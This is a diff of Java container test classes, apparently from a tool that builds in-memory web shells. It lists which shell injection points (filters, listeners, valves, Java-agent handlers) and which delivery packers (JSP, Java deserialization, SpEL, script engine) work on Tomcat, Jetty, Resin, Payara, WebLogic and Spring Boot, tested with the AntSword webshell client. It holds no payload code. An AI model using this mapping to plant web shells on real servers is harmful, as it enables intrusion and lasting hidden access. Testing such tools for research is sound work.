||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty94ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Payara5201ContainerTest {
|
|||||||
Server server = Server.Payara;
|
Server server = Server.Payara;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Payara520225ContainerTest {
|
|||||||
Server server = Server.Payara;
|
Server server = Server.Payara;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Payara620222ContainerTest {
|
|||||||
Server server = Server.Payara;
|
Server server = Server.Payara;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
|
|||||||
+1
-2
@@ -54,8 +54,7 @@ public class Resin3116ContainerTest {
|
|||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Resin318ContainerTest {
|
|||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Resin4058ContainerTest {
|
|||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Resin4067ContainerTest {
|
|||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -54,8 +54,7 @@ public class SpringBoot1ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+3
-5
@@ -56,8 +56,7 @@ public class SpringBoot2ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -91,9 +90,8 @@ public class SpringBoot2ContainerTest {
|
|||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-4
@@ -56,8 +56,7 @@ public class SpringBoot2JettyContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -90,8 +89,7 @@ public class SpringBoot2JettyContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
// ShellType.LISTENER,
|
// ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-4
@@ -56,8 +56,7 @@ public class SpringBoot2UndertowContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -90,8 +89,7 @@ public class SpringBoot2UndertowContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
// ShellType.LISTENER,
|
// ShellType.LISTENER,
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+3
-5
@@ -54,8 +54,7 @@ public class SpringBoot2WarContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
|
||||||
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查
|
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET // TODO: 这个地方会报奇怪的错误,需要排查
|
||||||
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -81,9 +80,8 @@ public class SpringBoot2WarContainerTest {
|
|||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-4
@@ -54,8 +54,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
@@ -64,6 +63,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -87,10 +87,12 @@ public class SpringBoot3ContainerTest {
|
|||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
// ShellType.LISTENER,
|
// ShellType.LISTENER,
|
||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
|||||||
+1
-3
@@ -57,9 +57,7 @@ public class Tomcat10ContainerTest {
|
|||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET,
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
|
|||||||
+1
-3
@@ -58,9 +58,7 @@ public class Tomcat11ContainerTest {
|
|||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET,
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
|
|||||||
+1
-3
@@ -59,9 +59,7 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET,
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
|
|||||||
+4
-1
@@ -56,7 +56,10 @@ public class Tomcat5ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE);
|
ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-3
@@ -56,9 +56,8 @@ public class Tomcat6ContainerTest {
|
|||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -57,9 +57,8 @@ public class Tomcat7ContainerTest {
|
|||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
@@ -67,6 +66,7 @@ public class Tomcat7ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+2
-3
@@ -59,9 +59,7 @@ public class Tomcat8ContainerTest {
|
|||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
@@ -69,6 +67,7 @@ public class Tomcat8ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+2
-3
@@ -57,9 +57,8 @@ public class Tomcat9ContainerTest {
|
|||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
ShellType.WEBSOCKET,
|
ShellType.WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-7
@@ -52,15 +52,10 @@ public class WebLogic1036ContainerTest {
|
|||||||
Server server = Server.WebLogic;
|
Server server = Server.WebLogic;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT,
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
